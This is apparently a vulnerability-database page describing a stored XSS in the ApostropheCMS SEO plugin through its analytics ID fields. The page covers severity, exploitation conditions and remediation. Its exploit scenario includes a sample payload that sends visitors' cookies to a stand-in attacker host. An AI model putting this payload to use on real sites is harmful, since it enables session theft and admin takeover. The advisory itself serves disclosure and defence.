EUVD-2026-36589Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Editor role required (PR:L); stored XSS executes during normal browsing so UI:N rather than UI:R; scope changes from CMS to visitor browser (S:C) with high C/I impact, no availability impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Lifecycle Timeline
1DescriptionCVE.org
ApostropheCMS is an open-source Node.js content management system. Versions up to and including 1.4.2 of the @apostrophecms/seo package injects the Google Analytics Tracking ID (seoGoogleTrackingId) and Google Tag Manager ID (seoGoogleTagManager) directly into <script> tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site. As of time of publication, no known patched versions are available.
AnalysisAI
Stored cross-site scripting in the @apostrophecms/seo plugin (versions ≤1.4.2) allows any user holding the default editor role to inject arbitrary JavaScript that executes in every visitor's browser. The seoGoogleTrackingId and seoGoogleTagManager fields are interpolated directly into inline <script> tag bodies via template literals with no sanitization, turning legitimate analytics configuration into a persistent payload delivery channel. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Attacker must hold a user account with editor-level role (the default role assigned to content managers in ApostropheCMS) on the target installation, and the @apostrophecms/seo plugin must be installed and the SEO fields exposed in the admin UI. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The vendor CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N, base 8.7) reflects a network-reachable stored XSS executed in a changed scope (visitor browser) with high confidentiality and integrity impact, requiring only the default editor role. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who obtains or is granted editor credentials (the default content-manager role) navigates to the SEO configuration UI and sets seoGoogleTrackingId to a payload such as `');fetch('https://attacker.tld/?c='+document.cookie);//`, which is concatenated into the inline analytics <script> tag rendered site-wide. Every subsequent visitor - including administrators - executes the payload in their browser, enabling session cookie theft, admin account takeover via authenticated requests, or drive-by malware delivery. … |
| Remediation | No vendor-released patch identified at time of analysis; the advisory at https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wf43-fpp3-cf65 explicitly states no patched version is yet available. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
24 hours: Audit and restrict editor role membership to essential personnel; review SEO plugin configuration audit logs for unauthorized modifications to seoGoogleTrackingId or seoGoogleTagManager fields. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Remote code execution in Vitest Browser Mode (npm @vitest/browser 3.0.0-3.2.4, 4.0.0-4.1.7, 5.0.0-beta.0-5.0.0-beta.3) a
Remote prototype pollution in i18next-http-middleware before 3.9.7 allows unauthenticated attackers to write to Object.p
Prototype pollution in ApostropheCMS versions up to and including 4.30.0 allows an authenticated editor to poison Object
Code injection in OpenZeppelin Contracts Wizard's `@openzeppelin/wizard` npm package (<=0.10.8) allows attacker-supplied
Sandbox escape leading to remote code execution affects KanaDojo (lingdojo/kana-dojo) before version 0.1.18, where the i
Share
External POC / Exploit Code
Leaving vuln.today